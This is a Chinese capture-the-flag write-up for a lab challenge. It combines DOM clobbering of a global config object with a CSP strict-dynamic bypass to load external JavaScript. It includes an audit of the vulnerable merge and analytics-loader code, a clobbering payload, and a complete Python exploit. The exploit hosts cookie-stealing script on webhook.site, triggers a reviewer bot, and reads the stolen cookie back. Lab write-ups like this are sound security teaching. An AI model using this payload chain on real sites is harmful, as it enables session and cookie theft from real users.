文章总结: 该文档是针对乌托邦·王实验室第25题的Writeup,核心在于利用DOMClobbering技术配合CSP的strict-dynamic策略绕过。文章详细分析了前端代码中merge函数和initAnalytics的执行逻辑,发现通过注入特定属性的a标签可篡改全局配置。最终利用webhook.site托管恶意JS脚本,诱使Bot访问并动态加载该脚本,成功窃取Cookie中的Flag。复现步骤清晰,提供了完整的Python利用代码。 综合评分: 90 文章分类: CTF,WEB安全,漏洞分析,漏洞POC
乌托邦·王的实验室25——拼少少商城评价中心 Writeup
原创
wenject wenject
船山信安
2026年2月25日 17:42 江苏
踩点
打开靶场,是”拼少少商城”的升级版——评价中心。和上一版的竞态条件不同,这次的核心在前端安全。页面结构和上一版类似:商品列表、余额显示、聊天面板,但多了一个评价功能,每个商品下面可以提交评论,还有一个”举报”按钮会让”王大人”来审查评价区。
右侧聊天面板的对话透露了关键信息:
- “全局配置解析器好像有点……” → merge 函数有问题
- “全局合并逻辑” → 指向 merge 函数
- “没有执行权限的 DOM 节点就只是一具具尸体” → DOM Clobbering
- “利用那些毫无生气的标签篡改我的意志” → 用 HTML 标签影响 JS 行为
CSP 策略很严格:
default-src 'self'; script-src 'nonce-XXX' 'strict-dynamic'; style-src 'self' 'unsafe-inline'; object-src 'none'; base-uri 'none';
nonce 每次请求都变,内联脚本没戏。但 strict-dynamic 是关键——它允许受信任脚本动态创建的 <script> 标签加载任意源。
代码审计
/static/script.js 是核心,9016 字节。关键代码链路:
const AppEngine = (() => {
const defaultSettings = {
version: "4.0.0",
analytics: { enabled: true, href: "/static/analytics-module.js" }
};
const loadConfig = () => {
let externalConfig = window.CONFIG;
let finalSettings = {};
const merge = (target, source) => {
for (let key in source) {
if (typeof source[key] === 'object' && source[key] !== null && !source[key].nodeType) {
target[key] = target[key] || {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
};
merge(finalSettings, defaultSettings);
if (externalConfig) {
try {
if (externalConfig.analytics) {
finalSettings.analyticsUrl = externalConfig.analytics.href;
}
} catch (e) {}
}
return finalSettings;
};
const initAnalytics = (settings) => {
if (!settings.analyticsUrl && settings.analytics && settings.analytics.enabled) {
settings.analyticsUrl = settings.analytics.href;
}
if (settings.analyticsUrl) {
const script = document.createElement('script');
script.src = settings.analyticsUrl;
document.body.appendChild(script);
}
};
return {
trackPage: () => {
const settings = loadConfig();
initAnalytics(settings);
}
};
})();
执行流程:loadComments 用 innerHTML 渲染评论 → 调用 AppEngine.trackPage() → loadConfig 读取 window.CONFIG → initAnalytics 动态创建 <script> 标签。
/static/analytics-module.js 返回 404,正常情况下什么都不会发生。但如果能通过 DOM Clobbering 控制 window.CONFIG.analytics.href,就能让 initAnalytics 创建一个 <script src="我们控制的URL">。由于 strict-dynamic,这个动态创建的 script 可以加载任意源——包括跨域。
HTML 过滤器分析
评论内容经过服务端过滤,允许的标签和属性:
<a>: id, href, name, target, class(javascript:在 href 中被过滤,但data:保留)<form>: id, name, action, method, class<div>,<span>: id, class<b>,<strong>,<em>,<i>,<h1>–<h6>
所有事件处理器(onclick, onerror 等)全部被过滤。<script>, <img>, <iframe>, <style> 等危险标签也被过滤。
DOM Clobbering 构造
标准的 DOM Clobbering 方式是用 <form id="CONFIG"><a name="analytics" href="URL">,但页面上可能已经有多个 id="CONFIG" 的元素(其他人的测试残留),导致 window.CONFIG 变成 HTMLCollection,HTMLCollection.analytics 找不到 form 内部的 <a>。
解决方案是用单个 <a> 标签同时设置 id 和 name:
<a id="CONFIG" name="analytics" href="EXTERNAL_JS_URL">x</a>
这样即使有多个 id="CONFIG" 的元素,HTMLCollection.namedItem("analytics") 仍然能通过 name 属性找到这个 <a>,.href 返回完整 URL。
外部 JS 托管
strict-dynamic 允许动态 script 加载跨域资源,所以只需要一个返回 application/javascript MIME type 的可控 URL。
用 webhook.site 的 API 创建一个自定义响应端点:
requests.post("https://webhook.site/token", json={
"default_status": 200,
"default_content": "JS_PAYLOAD_HERE",
"default_content_type": "application/javascript",
})
返回的 URL 格式为 https://webhook.site/{uuid},Content-Type 是 application/javascript。
利用链
- 创建 webhook.site endpoint,返回窃取 cookie 的 JS
- 在目标商品评论中注入
<a id="CONFIG" name="analytics" href="webhook_url">x</a> - 举报该商品,bot(HeadlessChrome)访问评价页面
loadComments渲染评论 → DOM Clobbering 生效 →window.CONFIG.analytics.href= webhook URLinitAnalytics创建<script src="webhook_url">,strict-dynamic允许加载- JS 执行,读取
document.cookie,通过评论 API 回传 - flag 就在 bot 的 cookie 中
完整复现步骤
- 访问靶场,获取 session
- 调用 webhook.site API 创建返回 JS 的 endpoint
- JS 内容:读取
document.cookie并通过/api/comments/p5回传 - 在 p6 的评论中提交 DOM Clobbering payload
- 举报 p6,等待 bot 访问
- 检查 p5 的评论,获取 flag
EXP
"""
拼少少商城评价中心 - EXP
DOM Clobbering + strict-dynamic CSP bypass + 外部 JS 加载
"""
import requests
import time
TARGET = ""# 靶机地址
# Step 1: 创建 webhook.site endpoint
JS_PAYLOAD = (
"fetch('/api/comments/p5',{method:'POST',"
"headers:{'Content-Type':'application/json'},"
"body:JSON.stringify({content:'FLAG:'+document.cookie})})"
)
print("[1] Creating webhook.site endpoint...")
r = requests.post("https://webhook.site/token", json={
"default_status": 200,
"default_content": JS_PAYLOAD,
"default_content_type": "application/javascript",
}, timeout=15)
if r.status_code notin [200, 201]:
print(f"[-] Failed: {r.status_code}")
exit(1)
token = r.json()["uuid"]
webhook_url = f"https://webhook.site/{token}"
print(f"[+] Webhook: {webhook_url}")
# Verify
r2 = requests.get(webhook_url, timeout=10)
assert"javascript"in r2.headers.get("Content-Type", ""), "Wrong MIME type"
print(f"[+] Verified: {r2.headers['Content-Type']}")
# Step 2: 获取 session
s = requests.Session()
s.get(TARGET, timeout=15)
print(f"[2] Session ready")
# Step 3: DOM Clobbering payload
payload = f'<a id="CONFIG" name="analytics" href="{webhook_url}">x</a>'
r3 = s.post(f"{TARGET}api/comments/p6", json={"content": payload}, timeout=10)
print(f"[3] Payload submitted: {r3.json()}")
# Step 4: 记录 p5 评论数
p5_before = s.get(f"{TARGET}api/comments/p5", timeout=10).json()["data"]
print(f"[4] p5 comments before: {len(p5_before)}")
# Step 5: 举报 p6,触发 bot
r5 = s.post(f"{TARGET}api/report", json={"productId": "p6"}, timeout=10)
print(f"[5] Report: {r5.json()}")
# Step 6: 等待 bot 执行
print("[6] Waiting for bot...")
for i in range(6):
time.sleep(5)
p5_after = s.get(f"{TARGET}api/comments/p5", timeout=10).json()["data"]
if len(p5_after) > len(p5_before):
for c in p5_after[len(p5_before):]:
content = c.get("content", "")
print(f"[+] {content}")
if"flag"in content.lower():
print(f"\n[+] FLAG FOUND!")
break
print(f" ...{(i+1)*5}s")
else:
print("[-] Timeout, no new comments")
小结
这题的核心是 DOM Clobbering + CSP strict-dynamic bypass。评论区允许 <a> 标签保留 id/name/href 属性,通过 <a id="CONFIG" name="analytics" href="外部JS"> 覆盖 window.CONFIG,让 AppEngine.trackPage() 中的 initAnalytics 动态创建 <script src="外部JS">。strict-dynamic 策略允许受信任脚本动态创建的 script 加载任意源,所以外部 JS 被成功执行。flag 藏在 bot 的 cookie 中,通过 XSS 读取 document.cookie 即可获取。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:船山信安 wenject wenject《乌托邦·王的实验室25——拼少少商城评价中心 Writeup》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论